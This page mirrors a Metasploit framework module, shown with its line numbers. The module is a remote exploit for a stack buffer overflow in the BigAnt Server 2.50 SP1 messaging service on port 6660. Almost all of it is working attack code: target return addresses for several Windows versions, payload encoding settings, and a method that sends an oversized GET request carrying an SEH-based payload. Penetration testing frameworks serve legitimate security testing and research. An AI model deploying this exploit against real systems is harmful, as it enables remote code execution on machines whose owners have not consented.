Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/bigant_server_250.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',
17
'Description' => %q{
18
This exploits a stack buffer overflow in the BigAnt Messaging Service,
19
part of the BigAnt Server product suite. This module was tested
20
successfully against version 2.50 SP1.
21
},
22
'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
# It's not clear if these are correct - there was a fix for
26
# the v2.2 vuln back in Dec 2008
27
[ 'CVE', '2008-1914'],
28
[ 'OSVDB', '44454'],
29
[ 'EDB', '9673' ],
30
[ 'EDB', '9690' ]
31
# [ 'B_ID', '28795' ],
32
# [ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],
33
],
34
'Privileged' => true,
35
'DefaultOptions' => {
36
'EXITFUNC' => 'seh',
37
'AllowWin32SEH' => true
38
},
39
'Payload' => {
40
'Space' => 710,
41
'BadChars' => "\x00\x20\x0a\x0d",
42
'StackAdjustment' => -3500,
43
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
44
'DisableNops' => true,
45
},
46
'Platform' => 'win',
47
'Targets' => [
48
[ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & aushack) p/p/r VBAJET32.dll xpsp3 & w2k
49
[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (aushack 20090918)
50
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work
51
],
52
'DefaultTarget' => 0,
53
'DisclosureDate' => '2008-04-15',
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options([Opt::RPORT(6660)])
63
end
64
65
def exploit
66
connect
67
68
sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
69
sploit << rand_text_alpha_upper(1000 - payload.encoded.length)
70
71
print_status("Trying target #{target.name}...")
72
sock.put(sploit + "\r\n\r\n")
73
74
handler
75
disconnect
76
end
77
end
78
79